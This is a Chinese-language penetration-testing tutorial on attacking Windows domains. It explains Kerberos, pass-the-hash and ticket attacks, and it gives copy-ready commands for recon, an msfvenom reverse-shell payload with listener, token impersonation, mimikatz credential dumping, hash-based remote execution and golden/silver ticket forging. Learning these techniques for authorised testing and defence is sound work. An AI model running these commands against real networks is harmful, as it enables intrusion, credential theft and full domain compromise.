内网渗透篇

2023-11-12

域信息搜集命令

1.查询当前环境

whoami && ipconfig /all

 2.查询当前域用户

net user /domain

 3.查询域控

net time

 4.查询域工作组

net group /domain

 5.查询域管理用户

net group "domain admins" /domain

6. 查询有几台域控制器 需要域权限

net group "Domain controllers"

7.查找域服务器

net time 

查询时间 这个命令会请求域服务器的时间

8.查看当前工作环境

net config workstation

9.查询域控

nltest /dclist:hacking

10.ping/nslookup 查找域控

ping 12-dc.hacking.com

nslookup 12-dc.hacking.com

主机发现

在域内进行横行渗透时,首先要收集主机的端口和 ip 信息
net view /domain 查询域内的主机信息
发生系统错误 6118 出现这种错误时 Computer Browser 被禁用了 在域管理启用即可

net view /domain 

 

net view /domain:hacking

查询通信

arp -a

nbtscan 发现主机

下载地址:

nbtscan - NETBIOS nameserver scanner

nbtscan.exe -f 192.168.31.0/24

 bat 命令发现主机

for /l %i in (1,1,255) do @ping 192.168.31.%i -w 1 -n 1|find /i "ttl="

 通过 powershell 脚本扫描 IP 地址存活:

powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSwee
p.ps1;Invoke-TSPingSweep -StartAddress 192.168.31.0 -EndAddress 192.168.
31.255"
脚本下载地址: https://gallery.technet.microsoft.com/scriptcenter/Invoke
TSPingSweep-b71f1b9b
PowerShell 实现基本的端口扫描功能。
PS C:\Users\Bypass> 1..1024 | % {echo ((new-object Net.Sockets.TcpClien
t).Connect("192.168.246.44",$_)) "Port $_ is open!"} 2>$null
针对某 IP 段中单个端口的扫描:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "
Detailed" 192.168.1.$ip}
针对某 IP & 多个端口的扫描器
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClie
nt).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}

基于 MSF 的内网主机探测

使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。
主机存活探测:
auxiliary/scanner/discovery/arp_sweep
ARP 扫描
auxiliary/scanner/discovery/udp_sweep
UDP 扫描
auxiliary/scanner/netbios/nbname
NETBIOS 扫描
auxiliary/scanner/snmp/snmp_enum
SNMP 扫描
auxiliary/scanner/smb/smb_version
SMB 扫描
端口扫描:
auxiliary/scanner/portscan/ack
TCP ACK 端口扫描
auxiliary/scanner/portscan/ftpbounce
FTP bounce 端口扫描
auxiliary/scanner/portscan/syn
SYN 端口扫描
auxiliary/scanner/portscan/tcp
TCP 端口扫描
auxiliary/scanner/portscan/xmas
TCP XMas 端口扫描
nmap
Nmap 是一个端口扫描器,可用于主机发现、端口扫描、版本检测、 OS 检测等。
使用场景:建立 socks 代理, proxychains+Nmap 扫描内网。
支持多种扫描模式:
-sT: TCP 扫描
-sS: SYN 扫描
-sA: ACK 扫描
-sF FIN 扫描
-sU: UDP 扫描
-sR: RPC 扫描
-sP: ICMP 扫描
快速扫描所有端口:
nmap -sS -p 1-65535 -v 192.168.31.59

域渗透思路

通过域成员主机,定位出域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP ,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。

内网渗透 Token

令牌 (token) 是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下, 访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
        假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需 要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
• 访问令牌(Access Token) :表示访问控制操作主体的系统对象
• 会话令牌(Session Token) :是交互会话中唯一的身份标识符
• 密保令牌(Security Token) :又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U
Windows AccessToken 有两种类型:
Delegation Token :授权令牌,它支持交互式会话登录 ( 例如本地用户直接 登录、远程桌面登录访问)
Impresonation Token :模拟令牌,它是非交互的会话 ( 例如使用 net use 访问共享文件夹)
注: 两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,
Token 将变成 Impersonation token ,依旧有效。

AccessToken 的窃取与利用

AccessToken 的窃取与利用需要 administrator 管理员权限。也就是说要提权。
窃取 AccessToken 的方法:
incognito.exe 程序 、 InvokeTokenManipulat.ps1 脚本 、 MSF 里的 incognito 模块

1.incognito

程序地址: https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
AccessToken 的列举 ( 需要 administrator 权限 )
incognito.exe list_tokens -u

操作:模拟其他用户的令牌(复制 token **
如果要使用 AccessToken 模拟其他用户,可以使用命令
incognito.exe execute -c " 完整的 Token " cmd.exe
例如:模拟 system 权限用户(提权至 system ):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c " 当前用户 token" cmd.exe
获取域普通用户
incognito.exe execute -c "moonsec\test" cmd.exe

2.MSF 下的 incognito 模块

use incognito # 加载 incognito
list_tokens -u # 列出 AccessToken
getuid
# 查看当前 token
impersonate_token "NT AUTHORITY\SYSTEM" # 模拟 system 用户, getsystem 命令
即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可
steal_token 1252 # 从进程窃取 token
getsystem # 提升至 system 权限
rev2self # 返回到之前的 AccessToken 权限

3.msf 令牌实战

msf 生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.0.115 -f exe -o msf.exe
监听端口
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 6666
exploit

 

use incognito
#进入 incognito 模块
list_tokens -u
# 列出令牌
列出两种令牌
• Delegation Token:也就是授权令牌,它支持交互式登录 ( 例如可以通过远程
桌面登录访问 )
• Impresonation Token:模拟令牌,它是非交互的会话。
伪造令牌
impersonate_token 12SERVER-01\Administrator
# 假冒 12server-01\adminstrator的令牌
impersonate_token moonsec\\test
# 假冒 moonsec\test的令牌
impersonate_token "NT AUTHORITY\SYSTEM"
# 假冒 System 的令牌

横向渗透

PTH(pass-the-hash) HASH 传递

        pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash NTLM Hash 访问远程主机或服务,而不用提供明文密码。

pass the hash 原理:
  • Windows 系统中,通常会使用 NTLM 身份认证
  • NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值, hash 值由系统 API 生成 ( 例如 LsaLogonUser)
  • hash 分为 LM hash NT hash ,如果密码长度大于 15,那么无法生成 LMhash 。从 Windows Vista Windows Server 2008 开始,微软默认禁用 LM hash
  • 如果攻击者获得了 hash ,就能够在身份验证的时候模拟该用户 (即跳过调用API 生成 hash 的过程 )

这类攻击适用于:

  • / 工作组环境
  • 可以获得 hash ,但是条件不允许对 hash 爆破
  • 内网中存在和当前机器相同的密码

        微软也对 pth 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500) 账号例外,利用这个账号仍可以进行 Pass The Hash 远程 ipc 连接。
        如果禁用了 ntlm 认证, PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功
        从 windows windows 横向 pth 这一类攻击方法比较广泛。

mimitkaz pth

privilege::debug (需要管理员权限)

sekurlsa::logonpasswords

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

得到 hash 后进行
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4

成功后 会弹出终端 cmd

psexec

        psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。
        利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。
#psexec 第一种:先有 ipc 链接, psexec 需要明文或 hash 传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s System 权限运行
#psexec 第二种:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法采用 hash 连接
# 非官方自带 - 参考 impacket 工具包使用,操作简单,容易被杀
#smbexec 无需先 ipc 链接 明文或 hash 传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21

wmic 命令

WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目
标主机 C 盘的 ip.txt 文件中
使用 WMIC 连接远程主机,需要目标主机开放 135 445 端口
( 135 WMIC 默认的管理端 wimcexec 使 445 传回显 )
wmic /node:192.168.0.123 /user:administrator /password:123456 process c
all create "cmd.exe /c ipconfig > c:\ip.txt

之后建立 IPC$ ,使用 type 读取执行结果

 

wmiexec.vbs
wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能, wmiexec.vbs 下载地
址: https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.0.123 administrator 123456
# 套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

 PTT 票据传递攻击(Pass the Ticket)

Kerberos 协议& Kerberos 认证原理

        Kerberos 协议是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。Kerberos 协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。

        打个比方:当 whoami 要和 bunny 进行通信的时候, whoami 就需要向 bunny 证明自己是 whoami ,直接的方式就是 whoami 用二人之间的秘密做秘钥加密明文文字生成密文,把密文和明文文字一块发送给 bunny bunny 再用秘密解密得到明文,把明文和明文文字进行对比,若一致,则证明对方是 whoami
        但是网络中,密文和文字很有可能被窃取,并且只要时间足够,总能破解得到秘钥。所以不能使用这种长期有效的秘钥,要改为短期的临时秘钥。那么这个临时秘钥就需要一个第三方可信任的机构来提供,即 KDC Key Distribution Center )秘钥分发中心。

Kerberos 认证原理

首先我们根据以下这张图来大致描述以下整个认证过程:

1. 首先 Client 向域控制器 DC 请求访问 Server DC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信。
2. 认证通过后返回 TGT Client Client 得到 TGT Ticket Granting Ticket)。
3. Client 继续拿着 TGT 请求 DC 访问 Server TGS 通过 Client 消息中的 TGT ,判断 Client 是否有访问权限。
4. 如果有,则给 Client 有访问 Server 的权限 Ticket ,也叫 ST Service Ticket)。
5. Client 得到 Ticket 后,再去访问 Server ,且该 Ticket 只针对这一个 Server 有效。
6. 最终 Server Client 建立通信。
下面讲一下详细的认证步骤,大概分为三个阶段:
AS REQ & AS REP
TGS REQ & TGS REP
AP-REQ & AP-REP

ASREQ & ASREP

该阶段是 Client AS 的认证,通过认证的客户端将获得 TGT 认购权证。

        当域内某个客户端用户 Client 视图访问域内的某个服务,于是输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC AS 认证服务发送一个 AS_REQ 认证请求。请求的凭据是 Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、 Server-info 等数据,以及一些其他信息。
        
        当 Client 发送身份信息给 AS 后, AS 会先向活动目录 AD 请求,询问是否有此Client 用户,如果有的话,就会取出它的 NTLM-Hash ,并对 AS_REQ 请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密码正确,如果时间戳在五分钟之内,则预认证成功。然后 AS 会生成一个临时秘钥 Session-Key AS ,并使用客户端 Client NTLM-Hash 加密 Session-key AS 作为响应包的一部分内容。此Session-key AS 用于确保客户端和 KGS 之间的通信安全。
        还有一部分内容就是 TGT :使用 KDC 一个特定账户的 NTLM-Hash Session-key AS、时间戳、 Client-info 进行的加密。这个特定账户就是创建域控时自动生成的Krbtgt 用户,然后将这两部分以及 PAC 等信息回复给 Client ,即 AS_REP PAC 中包含的是用户的 SID 、用户所在的组等一些信息。
        AS-REP 中最核心的东西就是 Session-key TGT 。我们平时用Mimikatz、 kekeo rubeus 等工具生成的凭据是 .kirbi 后缀, Impacket 生成的凭据的后缀是 .ccache 。这两种票据主要包含的都是 Session-key 和 TGT,因此可以相互转化。
        至此,Kerberos 认证的第一步完成。

TGSREQ & TGSREP
该阶段是 Client TGS 的认证,通过认证的客户端将获得 ST 服务票据。
        客户端 Client 收到 AS 的回复 AS_REP 后分别获得了 TGT 和加密的 Session-Key AS。它会先用自己的 Client NTLM-hash 解密得到原始的 Session-Key AS,然后它会在本地缓存此 TGT 和原始的 Session-Key AS,如果现在它就需要访问某台服务器上的服务,他就需要凭借这张 TGT 认购凭证向 KGS 购买相应的 ST 服务票据(也叫Ticket)。
        此时 Client 会使用 Session-Key AS 加密时间戳、 Client-info Server-info 等数据作为一部分。由于 TGT 是用 Krbtgt 账户的 NTLM-Hash 加密的, Client 无法解密,所以 Client 会将 TGT 作为另一部分继续发送给 TGS 。两部分组成的请求被称为TGS_REQ。
        TGS 收到该请求,用 Krbtgt 用户的 NTLM-hash 先解密 TGT 得到 Session-key AS 、时间戳、Client-info 以及 Server-info 。再用 Session-key AS 解密第一部分内容,得
Client-info 、时间戳。然后将两部分获取到时间戳进行比较,如果时间戳跟当前时间相差太久,就需要重新认证。TGS 还会将这个 Client 的信息与 TGT 中的 Client 信息进行比较,如果两个相等的话,还会继续判断 Client 有没有权限访问 Server ,如果都没有问题,认证成功。认证成功后,KGS 会生成一个 Session-key TGS ,并用 Session-key AS 加密 Session-key TGS 作为响应的一部分。此 Session-key TGS 用于确保客户端和服务器之间的通信安全。
        另一部分是使用服务器 Server NTLM-Hash 加密 Session-key TGS 、时间戳以及Client-info 等数据生成的 ST 。然后 TGS 将这两部分信息回复给 Client ,即TGS_REP。
至此, Client KDC 的通信就结束了,然后是和 Server 进行通信。
AP-REQ & AP-REP
该阶段是 Client TGS 的认证,通过认证的客户端将与服务器建立连接。
        客户端 Client 收到 TGS_REP 后,分别获得了 ST 和加密的 Session-Key TGS。它会先使用本地缓存了的 Session-key AS 解密出了原始的 Session-key TGS。然后它会在本地缓存此 ST 和原始的 Session-Key TGS,当客户端需要访问某台服务器上的服务时会向服务器发送请求。它会使用 Session-key TGS 加密 Client-info、时间戳等信息作为一部分内容。ST 因为使用的是 Server NTLM-hash 进行的加密,无法解密,所以会原封不动发送给 Server。两部分一块发送给 Server,这个请求即是AP_REQ。
        Server 收到 AP_REQ 请求后,用自身的 Server NTLM-Hash 解密了 ST ,得到Session-Key TGS,再解密出 Client-info 、时间戳等数据。然后与 ST Client-info、时间戳等进行一一对比。时间戳有效时间一般时间为 8 小时。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限, DC 拿到AC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL进行对比,最后决定是否给用户提供相关的服务。通过认证后 Server 将返回最终的 AP-REP 并与 Client 建立通信。
至此, Kerberos 认证流程基本结束。
PAC
        我们在前面关于 Kerberos 认证流程的介绍中提到了 PAC Privilege Attribute Certificate)这个东西,这是微软为了访问控制而引进的一个扩展,即特权访问证书。
        在上面的认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT ,有了 TGT ,就可以拿到 ST ,有了 ST ,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 "Who am i?" 的问题,而没有解决 "What can I do?" 的问题。
        为了解决上面的这个问题,微软引进了 PAC 。即 KDC 向客户端 Client 返回 AS_REP时插入了 PAC PAC 中包含的是用户的 SID 、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的 AP_REQ 请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的ACL 进行对比,最后决定是否给用户提供相关的服务。
        但是在有些服务中并没有验证 PAC 这一步,这也是白银票据能成功的前提,因为就算拥有用户的 Hash ,可以伪造 TGS ,但是也不能制作 PAC
PAC 当然也验证不成功,但是有些服务不去验证 PAC ,这是白银票据成功的前提。

Kerberos 认证中的相关安全问题概述

Kerberos 认证并不是天衣无缝的,这其中也会有各种漏洞能够被我们利用,比如我们常说的MS14-068 、黄金票据、白银票据等就是基于 Kerberos 协议进行攻击的。下面我们便来大致介绍一下 Kerberos 认证中的相关安全问题。

黄金票据(Golden ticket

        在 Windows kerberos 认证过程中, Client 将自己的信息发送给 KDC ,然后 KDC使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密,生成 TGT 。那么如果获取到了Krbtgt 的 NTLM-Hash 值,不就可以伪造任意的 TGT 了吗。因为 Krbtgt 只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
        先假设这么一种情况,原先已拿到的域内所有的账户 Hash ,包括 Krbtgt 这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置 Krbtgt 密码,基于此条件,我们还能利用该票据重新获得域管理员权限。利用 Krbtgt Hash 值可以伪造生成任意的 TGT ,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。

白银票据(Silver ticket

        白银票据不同于黄金票据,白银票据的利用过程是伪造 TGS ,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由 KDC颁发 TGT,并且在生成伪造的 TGT 得 20 分钟内,TGS 不会对该 TGT 的真伪进行效验。
        白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 Krbtgt账号的密码哈希值,因此更加隐蔽。

MS14-068

        这里便用到了我们之前所讲到的 PAC 这个东西, PAC 是用来验证 Client 的访问权限的,它会被放在 TGT 里发送给 Client ,然后由 Client 发送给 TGS 。但也恰恰是这个 PAC 造成了 MS14-068 这个漏洞。
        该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心( KDC )服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC TGT 来伪造票据获得管理员权限。

密码喷洒攻击(Password Spraying

在实际渗透中,许多渗透测试人员和攻击者通常都会使用一种被称为 密码喷洒
Password Spraying )的技术来进行测试和攻击。对密码进行喷洒式的攻击,这
个叫法很形象,因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码
猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户
被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概
率,消除帐户被锁定的概率。普通的爆破就是用户名固定,爆破密码,但是密码喷
洒,是用固定的密码去跑用户名。

AS-REP Roasting

我们前文说过, AS REQ & AS REP 认证的过程是 Kerberos 身份认证的第一步,该过
程又被称为预身份验证。预身份验证主要是为了防止密码脱机爆破。
而如果域用户设置了选项 "Do not require Kerberos preauthentication" (该选项默
认没有开启)关闭了预身份验证的话,攻击者可以使用指定的用户去请求票据,向
域控制器发送 AS_REQ 请求,此时域控会不作任何验证便将 TGT 票据和加密的
Session-key 等信息返回。因此攻击者就可以对获取到的加密 Session-key 进行离线
破解,如果爆破成功,就能得到该指定用户的明文密码。
这种攻击方式被称作 AS-REP Roasting 攻击。

票据传递攻击

这里介绍域内常用的两种攻击方式:黄金票据 Golden ticket 、白银票据 SILVER TICKET

金票 Golden ticket

原理
Kerberos 认证中 ,Client 通过 AS( 身份认证服务 ) 认证后 ,AS 会给 Client 一个
Logon Session Key TGT, Logon Session Key 并不会保存在 KDC 中, krbtgt
NTLM Hash 又是固定的 , 所以只要得到 krbtgt NTLM Hash ,就可以伪造 TGT
Logon Session Key 来进入下一步 Client TGS 的交互。而已有了金票后 , 就跳过
AS 验证 , 不用验证账户和密码 , 所以也不担心域管密码修改。
特点
不需要与 AS 进行交互,需要用户 krbtgt Hash
具体操作介绍
一、伪造凭据,提升域内普通用户的权限
二 伪造金票
伪造金票的所需条件
1 、域名称
2 、域的 SID
3 、域的 KRBTGT 账号的 HASH
4 、伪造任意用户名
登录域管用户,执行 whoami 可以看到是 administrator 用户:

使用一下命令导出用户 krbtgt hash
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv 或 lsadump::lsa /inject
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbtgt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /all /csv" "exit">loghash.txt

 利用 mimikatz 生成金票生成.kirbi 文件并保存:

mimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid:
S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d57638dddb470a8588
af80160f5f6 /ticket:ticket.kirbi" exit
/admin :伪造的用户名
/domain :域名称
/sid SID 值,注意是去掉最后一个 - 后面的值
/krbtgt krbtgt HASH
/ticket :生成的票据名称
// 不是写入内存中的命令!

 金票的使用(普通域账户,利用黄金票据,创建域管账户)

登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中
导入票据之前访问域控
mimikatz # kerberos::purge
mimikatz # kerberos::ptt C:\Users\test\ticket.kirbi

 注入内存中可以再来访问 dc 可以成功

 银票 SILVER TICKET

原理

        如果说黄金票据是伪造的 TGT, 那么白银票据就是伪造的 ST 。在 Kerberos 认证的第三步, Client 带着 ST Authenticator3 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后 , 通过自己的 Master Key 解密 ST,从而获得 Session Key 。通过 Session Key 解密Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。
        所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST, 且不会经过 KDC, 但是伪造的门票只对部分服务起作用
特点
1. 不需要与 KDC 进行交互
2. 需要 server NTLM hash
具体操作介绍
登录上面创建的域管用户,用管理员权限打开 CMD cd mimikatz 存放的目录,
去执行 mimikatz 的命令,得到 SID NTLM
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

 先使用 mimikatz 清空票据,再导入伪造的票据,具体伪造票据的命令:

kerberos::purge
kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-3068616892-3890610424-3278931909 /target:12server-dc.moonsec.fbi /service:cifs /rc4:42e2656ec24331269f82160ff5962387 /user:administrator /ptt

 

使用方法:
kerberos::golden /domain:< 域名 > /sid:< SID> /target:< 目标服务器主机名 > /service:<服务类型 > /rc4:<NTLM Hash> /user:< 用户名 > /ptt
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择,因为我们没有 TGT 去不断申请 ticket
所以只能针对某一些服务来进行伪造

 

现在已经有域管的权限了。

 

kekeo 制作环境银票
tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387 // tgt::ask /user:用户名 /domain: 域名 /ntlm:NTLM Hash
kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.
FBI.kirbi

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

内网渗透篇 的相关文章

  • 无法使用 Debian squeeze 在 Sheevaplug (armv5t) 上构建节点

    我现在已经尝试了几种在运行 Debian 版本 6 0 2 squeeze 的 Sheevaplug armv5t 上构建节点 版本 0 5 1 的方法 但最终总是 node Illegal instruction 在所有情况下我都可以编译
  • 在 Debian Jessie 上编译 Python 3.6.2 在共享模块上出现段错误

    我正在尝试使用以下选项在 Debian Jessie 盒子上编译 Python 3 6 2 configure prefix opt python3 enable optimizations with lto enable profilin
  • 如何在 debian 树莓派上安装 geos

    您好 我正在尝试在运行 rasbian wheezy 的树莓派上安装 geos 以便我可以在我的 python 脚本中包含 shapely 模块 我尝试使用 git clone git git debian org git pkg gras
  • 将 Docker 镜像内的用户切换为非 root 用户

    我正在尝试将用户切换到 tomcat7 用户以设置 SSH 证书 当我做su tomcat7 什么都没发生 whoami完成后仍然会rootsu tomcat7 Doing a more etc passwd 我得到以下结果 清楚地表明 t
  • 为什么 Celery 守护进程看不到任务?

    我有一个在 Debian 7 8 上运行的 Django 1 62 应用程序 其中 Nginx 1 2 1 作为我的代理服务器 Gunicorn 19 1 1 作为我的应用程序服务器 我安装了 Celery 3 1 7 和 RabbitMQ
  • 如何在 Debian Linux 系统上以非 root 身份安装 h5py (+numpy+libhdf5+...)

    我需要在 Debian Linux 系统上安装 h5py Python 模块及其所有缺少的依赖项 这项任务因以下原因而变得复杂 我在这个系统上没有任何超级用户权限 没有 sudo 没有 root 密码等 我使用的其余代码需要 Python
  • JDK 可以使用 apt-get install 吗?

    我使用 Linux 机器还不到两周 所以我对 Linux 非常陌生 我还想安装 Java 开发人员工具包 这应该怎么做呢 有没有一个apt get命令 或者我应该单击 Sun 网站上的下载按钮 我确信有不止一种方法可以做到这一点 而且可能并
  • HTML5 Websockets 可以在不使用服务器的情况下直接连接 2 个客户端(浏览器)吗? (P2P)[重复]

    这个问题在这里已经有答案了 使用 HTML5 Websockets 我可以直接在 2 个客户端 浏览器 之间打开套接字 假设我知道它们的 IP 地址并且不存在 NAT 遍历问题 我想将一些数据直接从一个浏览器发送到另一个浏览器 本质上是创建
  • Debian:使用 bash 找出 CPU 使用情况

    我正在使用 PHP 来读取当前的 CPU 使用情况 我在虚拟服务器上 因此启用了 shell exec 我努力了grep on ps 但没有成功 如何使用 bash 读取当前的 CPU 使用率百分比 最简单的方法就是使用sys getloa
  • “dat”协议能否有效支持视频直播?

    我希望能够通过以下方式实时流式传输视频 或任何其他大型且不断修改 附加的文件 dat Here https github com beakerbrowser webdb performance它说 dat 协议不支持文件级别的部分更新 这意
  • 直接通过 SSH 进入 docker 容器

    我有一些 docker 容器 现在我想通过 ssh 访问其中一个 这是工作我通过 ssh 连接到 docker 容器 但现在我遇到的问题是我不知道哪个用户可以访问这个容器 我已经对主机上的两个用户 网络和根 进行了尝试 但它们不起作用 知道
  • 使用 OpenCV 进行图像捕获 - 选择超时错误

    我想保存从连接 BeagleBone Black 的网络摄像头捕获的图像 但是当我运行以下代码时 出现错误 选择超时 include
  • 无法在 debian 上安装 node-libcurl

    请告诉我为什么我无法安装 node libcurl 以下是安装 npm install node libcurl 时显示的错误 gt email protected cdn cgi l email protection install va
  • 使用 STUN 打孔

    我目前正在尝试通过 Internet 发送 UDP 消息 并且必须为端点 A 和 B 都位于 NAT 后面 设置防火墙 为此 我想使用 STUN 服务器进行打孔 当 A 创建对 STUN 服务器的请求 例如 私有 85 1 1 12 600
  • 同步通过 LAN 电缆连接的两台 Windows 7 计算机之间的时间

    我有许多笔记本电脑 它们运行我们的应用程序 同时通过以太网电缆成对连接 但未连接到任何外部网络或互联网 时间 我需要连接对来同步其系统时间 但由于每台计算机都需要能够与任何其他计算机同步 因此我无法将一台计算机定义为时间服务器 而另一台计算
  • SSL 和 Tkinter 不存在于 Python 3.5.2、Debian Linux 的源代码构建中

    我刚刚将 Python 3 5 2 下载到我的 Debian 机器上并使用以下命令构建它 configure make make test sudo make install 一切正常 但在make test输出中 它显示安装程序由于未安装
  • 如何更改Python使用的SQLite版本?

    我在 Debian 9 12 上安装了 Python 3 8 和 SQLite 3 16 2 并且需要升级到较新版本的 SQLite 我已经下载并编译了 SQLite 网站上提供的合并 并将其放入 usr bin 所以当我这样做时 sqli
  • 智能手机可以通过 3G/4G 进行点对点通信吗?

    我正在尝试编写一个应用程序 将数据从一个 Android 设备传输到另一个 Android 设备 但这些设备很可能位于城市 州或国家的不同部分 直接的方法是拥有一台中央服务器 或任何类型的服务器 但我试图避免使用中央服务器 我试图传递的数据
  • 具有少量父设备属性的 udev 规则

    我需要复杂且通用的udev规则来确定插入任何 USB 集线器的特定端口的 USB 设备 所以 我必须结合设备树不同层的父属性 我有这个 udevadm info query all name dev ttyUSB0 attribute wa
  • arm64和armhf有什么区别?

    Raspberry Pi Type 3 具有 64 位 CPU 但其架构不是arm64 but armhf 有什么区别arm64 and armhf armhf代表 arm hard float 是给定的名称Debian 端口 https

随机推荐

